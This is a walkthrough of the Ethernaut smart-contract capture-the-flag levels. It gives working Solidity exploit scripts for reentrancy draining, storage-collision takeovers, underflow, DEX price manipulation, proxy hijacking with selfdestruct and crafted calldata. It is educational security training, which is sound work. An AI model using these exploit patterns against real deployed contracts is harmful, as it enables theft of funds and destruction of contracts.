About this series
A journey through the Ethernaut challenges — unravelling smart-contract vulnerabilities one level at a time and emerging with a sharper feel for Ethereum security. I'd recommend the ethereum101, solidity 101 and solidity 201 modules of the Secureum bootcamp first. This repo doubles as a Foundry template for solving Ethernaut.
Clone & build
$ cd ethernaut
$ forge build
00 Hello Ethernaut
Hello.sol — the targetGoal
- Learn the basics: set up an instance and call functions. Deploy the instance, call
authenticate() with the password, and follow the breadcrumb trail of
info()methods.
Solution
HelloSolve.s.sol// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import {Hello} from "../src/Hello.sol";
contract HelloSolve is Script {
Hello public hello = Hello(0xAd10DADdaAbb8Efbd597Bd9b20eB135968d781b1);
function run() external {
string memory password = hello.password();
console.log("Password : ", password);
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
hello.authenticate(password);
vm.stopBroadcast();
}
}
Run
01 Fallback
Goal
- Claim ownership of the contract and reduce its balance to 0.
Solution
- Contribute a tiny amount via contribute() to seed a non-zero contribution.
- Then send a tiny amount of ETH with empty data to trigger receive(), which sets you as owner.
- Call withdraw() to drain the contract.
contract FallbackSolve is Script {
Fallback public fb = Fallback(payable(0xa5D558468A511D05650F923305eC7c1a268A651f));
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
fb.contribute{value: 0.0001 ether}();
address(fb).call{value: 1 wei}("");
fb.withdraw();
vm.stopBroadcast();
}
}
Run
02 Fallout
Goal
- Claim ownership of the contract.
Solution
- In Solidity ≤ 0.6.0 a function named like the contract was the constructor. Here the "constructor" is misspelled Fal1out() (with a 1), making it a plain public function.
- Anyone can call Fal1out() and become owner.
contract FalloutSolve is Script {
Fallout public fallout = Fallout(0x99a054250f3DE6fEa6320e979860C98ce3E93AB9);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
fallout.Fal1out();
fallout.collectAllocations();
vm.stopBroadcast();
}
}
Run
03 Coinflip
Goal
- Guess the coin flip correctly 10 times in a row.
Solution
- The "random" flip is derived deterministically from
blockhash(block.number - 1)— fully predictable on-chain. - Compute the same result in an attacker contract and feed the correct guess in the same block. (For real randomness you'd use Chainlink VRF.)
contract Attack {
CoinFlip public coinflip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(CoinFlip _coinflip) { coinflip = _coinflip; }
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
require(coinflip.flip(side), "Attack : Wrong answer");
}
}
Run
04 Telephone
Goal
- Claim ownership of the contract.
Solution
- tx.origin is the original EOA; msg.sender is the immediate caller. Calling
changeOwner() from a contract makes them differ, satisfying
tx.origin != msg.sender.
contract Attack {
Telephone public telephone;
constructor(Telephone _telephone) {
telephone = _telephone;
telephone.changeOwner(0xd0509B83468409A75De2771C1Ae7bE1026A69927);
}
}
Run
05 Token
Goal
- Start with 20 tokens and end up with far more.
Solution
- Solidity 0.6.0 has no automatic overflow/underflow checks. transfer() does
balances[msg.sender] - _valuewith no guard. - Transferring 21 tokens from a balance of 20 underflows to
(2**256) - 1.
contract Attack {
constructor(address _target) {
IToken(_target).transfer(msg.sender, 1);
}
}
interface IToken {
function balanceOf(address) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
Run
06 Delegation
Goal
- Claim ownership of the instance.
Solution
- Delegation's fallback() forwards calldata to Delegate via delegatecall — which runs Delegate's code in Delegation's storage context.
- Send calldata equal to the 4-byte selector of pwn(). Delegate's
owner = msg.senderwrites to Delegation's slot 0, making you owner.
contract DelegationSolve is Script {
Delegation public delegation = Delegation(0x3f754D1a4278A32d91BF822027761E3Bdd75b119);
function run() external {
vm.startBroadcast();
address(delegation).call(abi.encodeWithSignature("pwn()"));
vm.stopBroadcast();
}
}
Run
07 Force
Goal
- Make the contract's balance greater than zero — though it has no payable functions.
Solution
- A contract with no receive/fallback rejects normal transfers. But selfdestruct() force-sends its balance to any address.
- Deploy an attacker funded with ETH whose constructor self-destructs to the Force contract.
contract Attack {
receive() external payable {}
constructor(address payable _force) payable {
selfdestruct(_force);
}
}
Run
08 Vault
Goal
- Unlock the vault.
Solution
- The password is
private— but nothing on-chain is truly private. It sits in storage slot 1. - Read it with the
vm.loadcheatcode and pass it to unlock().
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
bytes32 password = vm.load(address(vault), bytes32(uint256(1)));
console.logBytes32(password);
vault.unlock(password);
vm.stopBroadcast();
}
Run
09 King
Goal
- Break the king game so no one can reclaim the throne.
Solution
- To dethrone, the contract pays the old king. If the old king can't receive ETH, the payment reverts and the throne sticks.
- Become king with a contract that has no payable receive/fallback — future
transferto it always reverts.
contract Attack {
function attack(address _king) public payable {
_king.call{value: msg.value}("");
}
}
Run
10 Reentrancy
Goal
- Steal all the funds from the contract.
Solution
- withdraw() sends ETH before updating state — classic reentrancy. Donate a
little, withdraw, and re-enter from
receive()until drained. - Check the pool's balance before re-entering to avoid the final revert. Always update state before transfers, or use a reentrancy guard.
contract Attack {
IReentrancy private immutable target;
constructor(address _target) { target = IReentrancy(_target); }
function attack() external payable {
target.donate{value: 1e17}(address(this));
target.withdraw(1e17);
require(address(target).balance == 0, "target balance > 0");
}
receive() external payable {
uint256 amount = min(1e17, address(target).balance);
if (amount > 0) target.withdraw(amount);
}
function min(uint256 x, uint256 y) private pure returns (uint256) { return x <= y ? x : y; }
}
Run
11 Elevator
Goal
- Reach the top of the building.
Solution
- goTo() trusts the caller's isLastFloor(). Implement it to return
falseon the first call andtrueon the second — flipping a stored bool each call.
contract Attack {
IElevator private immutable target;
bool top = true;
constructor(address _target) { target = IElevator(_target); }
function attack() external {
target.goTo(1);
require(target.top(), "not top");
}
function isLastFloor(uint256) external returns (bool) {
top = !top;
return top;
}
}
Run
12 Privacy
Goal
- Unlock the contract by setting
lockedto false.
Solution
- Walk the storage layout: slot 0
locked; slot 1ID; slot 2 packs the three small ints; slots 3–5 hold thedataarray. The key is slot 5. - Read slot 5, downcast to
bytes16, and pass it to unlock().
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
bytes32 slot5 = vm.load(address(privacy), bytes32(uint256(5)));
privacy.unlock(bytes16(slot5));
vm.stopBroadcast();
}
Run
13 GatekeeperOne
Goal
- Pass all three gates and register as entrant.
Solution
- gateOne: call from a contract so
msg.sender != tx.origin. - gateTwo: forward gas such that
gasleft() % 8191 == 0— brute-force a small offset. - gateThree: craft the key so the lower 4 bytes equal the lower 2 bytes, differ from
the full 8 bytes, and match
uint16(uint160(tx.origin)). Mask:0xFFFFFFFF0000FFFF.
contract Attack {
function attack(address _target, uint256 gas) external {
IGateKeeperOne target = IGateKeeperOne(_target);
uint16 k16 = uint16(uint160(tx.origin));
uint64 k64 = uint64(1 << 63) + uint64(k16);
bytes8 key = bytes8(k64);
require(gas < 8191, "gas > 8191");
require(target.enter{gas: 8191 * 10 + gas}(key), "failed");
}
}
Run
14 GatekeeperTwo
Goal
- Pass all gates and register as entrant.
Solution
- gateOne: call from a contract.
- gateTwo:
extcodesize(caller)must be 0 — true while running inside a constructor (code isn't deployed yet). - gateThree: XOR means the key is the inverse of
keccak256(this):key = type(uint64).max ^ uint64(bytes8(keccak256(...))).
contract Hack {
constructor(IGateKeeperTwo target) {
uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 k = type(uint64).max ^ s;
require(target.enter(bytes8(k)), "failed");
}
}
Run
15 NaughtCoin
Goal
- Move your time-locked tokens out so your balance hits 0.
Solution
- The
lockTokensmodifier only guards transfer(). The ERC20 transferFrom() path is unguarded — approve a helper and transfer via it.
contract Attack {
function exploit(NaughtCoin coin) external {
address player = coin.player();
uint256 bal = coin.balanceOf(player);
coin.transferFrom(player, address(this), bal);
}
}
Run
16 Preservation
Goal
- Claim ownership of the instance.
Solution
- setFirstTime() delegatecalls into the library, but the library writes to slot
0 — which in Preservation is
timeZone1Library, notstoredTime. - Point slot 0 at an attacker library with matching layout; its
setTimewrites the owner. First call sets the library to the attacker; second call overwrites owner with the player.
contract Attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function attack(Preservation target) external {
target.setFirstTime(uint256(uint160(address(this))));
target.setFirstTime(uint256(uint160(msg.sender)));
require(target.owner() == msg.sender, "hack failed");
}
function setTime(uint256 _owner) public { owner = address(uint160(_owner)); }
}
Run
17 Recovery
Goal
- Recover 0.001 ETH from a "lost" SimpleToken contract address.
Solution
- Contract addresses are deterministic:
keccak256(rlp(sender, nonce))[12:]. With nonce 1 you can recompute the lost address. - Call its destroy() via selfdestruct() to recover the ETH.
contract Attack {
function recover(address payable sender) external returns (address) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)));
address addr = address(uint160(uint256(hash)));
addr.call(abi.encodeWithSignature("destroy(address)", sender));
return addr;
}
}
0xd6 and 0x94 are RLP constants; the last byte is the nonce (assumed 1).
Run
18 MagicNum
Goal
- Provide a Solver that returns 42 — in at most 10 opcodes.
Solution
- Write raw bytecode that always returns
0x2a(42), then deploy it with creation code via thecreateopcode and register it with setSolver().
Runtime code — return 42 602a60005260206000f3 PUSH1 0x2a / PUSH1 0x00 / MSTORE ; store 42 at 0x00 PUSH1 0x20 / PUSH1 0x00 / RETURN ; return 32 bytes Creation code — return the runtime code 69602a60005260206000f3600052600a6016f3
contract Attack {
constructor(MagicNum target) {
bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
address addr;
assembly { addr := create(0, add(bytecode, 0x20), 0x13) }
require(addr != address(0));
target.setSolver(addr);
}
}
Run
19 AlienCodex
Goal
- Claim ownership of the contract.
Solution
- Solidity 0.5.0 — no overflow checks. Call makeContact(), then retract() on an
empty array underflows its length to
2**256 - 1, giving the array access to every storage slot. - Dynamic array elements start at
keccak256(1). Solveh + i = 0for indexi = 2**256 - keccak256(1), then revise(i, owner) writes slot 0.
slot 0 - owner (20 bytes), contact (1 byte) slot 1 - length of codex h = keccak256(1) -> codex[i] lives at slot h + i find i : h + i = 0 -> i = 0 - h (mod 2**256)
contract Attack {
constructor(AlienCodex target) {
target.make_contact();
target.retract();
uint256 h = uint256(keccak256(abi.encode(uint256(1))));
uint256 i;
unchecked { i -= h; }
target.revise(i, bytes32(uint256(uint160(msg.sender))));
require(target.owner() == msg.sender, "hack failed");
}
}
Run
20 Denial
Goal
- Deny the owner from withdrawing (with funds present and ≤ 1M gas).
Solution
- withdraw() makes an unchecked external call to the partner. Become the partner and
burn all gas in an infinite loop inside
receive(), forcing the whole transaction to fail.
contract Attack {
uint256 x;
constructor(Denial target) {
target.setWithdrawPartner(address(this));
}
fallback() external payable {
for (uint i = 0; i >= 0; i++) { x = x + i; }
}
}
Run
21 Shop
Goal
- Buy the item for less than the asking price.
Solution
- Like Elevator, buy() calls your price() twice. Return 100 while
!isSoldand 1 after — using the contract's ownisSoldflag as the toggle.
contract Attack {
Shop private immutable target;
constructor(Shop _target) { target = _target; }
function attack() external {
target.buy();
require(target.price() == 1, "price != 1");
}
function price() external view returns (uint256) {
return target.isSold() ? 1 : 100;
}
}
Run
22 Dex
Goal
- Drain all of at least one token from the DEX via price manipulation.
Solution
- The price formula uses on-chain balances directly, and integer division rounds down. Swapping back and forth lets the output grow each time.
- After five alternating swaps the pool ratio is skewed enough that one final 45-token swap empties a side.
token1 | token2
10 in | 100 | 100 | 10 out
24 out| 110 | 90 | 20 in
24 in | 86 | 110 | 30 out
41 out| 110 | 80 | 30 in
41 in | 69 | 110 | 65 out
| 110 | 45 | 45 in -> drains token2
contract Attack {
Dex private immutable dex;
IERC20 private immutable token1;
IERC20 private immutable token2;
constructor(Dex _dex) {
dex = _dex;
token1 = IERC20(dex.token1());
token2 = IERC20(dex.token2());
}
function attack() external {
token1.transferFrom(msg.sender, address(this), 10);
token2.transferFrom(msg.sender, address(this), 10);
token1.approve(address(dex), type(uint256).max);
token2.approve(address(dex), type(uint256).max);
_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);
dex.swap(address(token2), address(token1), 45);
require(token1.balanceOf(address(dex)) == 0, "dex token1 balance != 0");
}
function _swap(IERC20 tokenIn, IERC20 tokenOut) private {
dex.swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(address(this)));
}
}
Run
23 DexTwo
Goal
- Drain both token1 and token2 from DexTwo.
Solution
- swap() no longer checks that
from/toare the whitelisted tokens. Deploy your own token, seed the DEX with 1 unit, and swap it for 100 of the real token. - Repeat with a second fake token to drain the other side.
contract Attack {
DexTwo public dex;
IERC20 public token1;
IERC20 public token2;
MyToken public myToken1;
MyToken public myToken2;
constructor(DexTwo _dex) {
dex = _dex;
token1 = IERC20(dex.token1());
token2 = IERC20(dex.token2());
myToken1 = new MyToken();
myToken2 = new MyToken();
}
function attack() external {
myToken1.transfer(address(dex), 1);
myToken2.transfer(address(dex), 1);
myToken1.approve(address(dex), 1);
myToken2.approve(address(dex), 1);
dex.swap(address(myToken1), address(token1), 1);
dex.swap(address(myToken2), address(token2), 1);
require(token1.balanceOf(address(dex)) == 0);
require(token2.balanceOf(address(dex)) == 0);
}
}
contract MyToken is ERC20 {
constructor() ERC20("My-Token", "MTK") { _mint(msg.sender, 10000); }
}
Run
24 PuzzleWallet
Goal
- Become the admin of the proxy.
Solution
- PuzzleProxy and PuzzleWallet have mismatched storage layouts:
pendingAdmin/adminoverlap withowner/maxBalance. - Call proposeNewAdmin() to set yourself as owner, then addToWhitelist(). Use nested multicall to call deposit() twice while only sending value once, then execute() to drain the balance to 0.
- With balance 0, setMaxBalance(uint256(player)) overwrites
admin— you're admin.
contract Attack {
constructor(PuzzleWallet wallet) payable {
wallet.proposeNewAdmin(address(this));
wallet.addToWhitelist(address(this));
bytes[] memory deposit_data = new bytes[](1);
deposit_data[0] = abi.encodeWithSelector(wallet.deposit.selector);
bytes[] memory data = new bytes[](2);
data[0] = deposit_data[0];
data[1] = abi.encodeWithSelector(wallet.multicall.selector, deposit_data);
wallet.multicall{value: 0.001 ether}(data);
wallet.execute(msg.sender, 0.002 ether, "");
wallet.setMaxBalance(uint256(uint160(msg.sender)));
require(wallet.admin() == msg.sender, "Attack failed");
selfdestruct(payable(msg.sender));
}
}
Run
25 Motorbike
Goal
- Selfdestruct the Engine and brick the motorbike.
Solution
- The Engine implementation was never initialized through the proxy. Call initialize()
directly to become
upgrader. - Then upgradeToAndCall() to a malicious implementation whose
kill()self-destructs — executed via delegatecall against Engine's storage.
contract Attack {
function attack(Engine target) external {
target.initialize();
target.upgradeToAndCall(address(this), abi.encodeWithSelector(this.kill.selector));
}
function kill() external { selfdestruct(payable(address(this))); }
}
Run
26 DoubleEntryPoint
Goal
- Implement and register a Forta detection bot that prevents the CryptoVault from being drained.
Solution
- The DET token delegates from LegacyToken, so sweepToken(LGT) indirectly moves the
underlying DET via delegateTransfer() — that function carries the
fortaNotifymodifier. - The bot reads origSender from calldata at offset 0xA8 via
calldataload; if it's the CryptoVault, raise an alert to revert the sweep.
position bytes type value 0x00 4 bytes4 handleTransaction selector (0x220ab6aa) 0x04 32 address user 0x24 32 uint256 msgData offset (0x40) 0x44 32 uint256 msgData length (0x64) 0x64 4 bytes4 delegateTransfer selector (0x9cd1a121) 0x68 32 address to 0x88 32 uint256 value 0xA8 32 address origSender <- the one we want
contract DetectionBot {
DoubleEntryPoint public det = DoubleEntryPoint(0x91a71dbbEDC98B0B70e34A3CCf3D472DC8448DE3);
address public cryptovault = det.cryptoVault();
function handleTransaction(address user, bytes calldata) external {
address origSender;
assembly { origSender := calldataload(0xa8) }
if (origSender == cryptovault) {
Forta(msg.sender).raiseAlert(user);
}
}
}
Run
27 GoodSamaritan
Goal
- Drain the entire wallet balance (1,000,000 coins).
Solution
- requestDonation() catches
NotEnoughBalance()and then sends the entire remaining balance. The coin's transfer() callsnotify()on contract recipients. - In your
notify(), revert withNotEnoughBalance()only when the amount is 10 — this triggers the "send the rest" path without reverting the bulk transfer.
contract Attack {
GoodSamaritan private immutable target;
Coin private immutable coin;
error NotEnoughBalance();
constructor(GoodSamaritan _target) {
target = _target;
coin = Coin(_target.coin());
}
function attack() external {
target.requestDonation();
require(coin.balances(address(this)) == 10 ** 6, "hack failed");
}
function notify(uint256 amount) external {
if (amount == 10) revert NotEnoughBalance();
}
}
Run
28 GatekeeperThree
Goal
- Pass three gates and become entrant.
Solution
- gateOne: call construct0r() (not a real constructor) to become owner, and call
from a contract so
tx.origin != owner. - gateTwo: deploy SimpleTrick via createTrick(), then call getAllowance(block.timestamp) — the password is the same-tx timestamp.
- gateThree: the contract must hold > 0.001 ETH and its
sendto owner must fail. Make your attacker contract reject ETH (no receive/fallback) so the send returns false.
contract Attack {
constructor() payable {}
function exploit(GatekeeperThree gate) public {
gate.construct0r();
gate.createTrick();
gate.getAllowance(block.timestamp);
(bool success, ) = payable(address(gate)).call{value: address(this).balance}("");
require(success, "Tx Failed");
gate.enter();
}
}
Run
29 Switch
Goal
- Flip the switch on.
Solution
- The
onlyOffmodifier copies 4 bytes from calldata offset 68 and requires the turnSwitchOff() selector there. But the_dataoffset is attacker-chosen. - Put the decoy
0x20606e15at offset 64 to pass the check, then point the real bytes at a later offset holding the turnSwitchOn() selector.
0x30c13ade flipSwitch() selector 0x00 : 0000000000000000000000000000000000000000000000000000000000000060 offset of real data (0x60) 0x20 : 0000000000000000000000000000000000000000000000000000000000000000 0x40 : 0000000000000000000000000000000000000000000000000000000000000004 decoy length 0x60 : 20606e1500000000000000000000000000000000000000000000000000000000 turnSwitchOff() (checked @64) 0x80 : 0000000000000000000000000000000000000000000000000000000000000004 real length 0xa0 : 76227e1200000000000000000000000000000000000000000000000000000000 turnSwitchOn() (executed)
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
bytes memory data = hex"30c13ade00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000420606e15000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
address(_switch).call(data);
vm.stopBroadcast();
}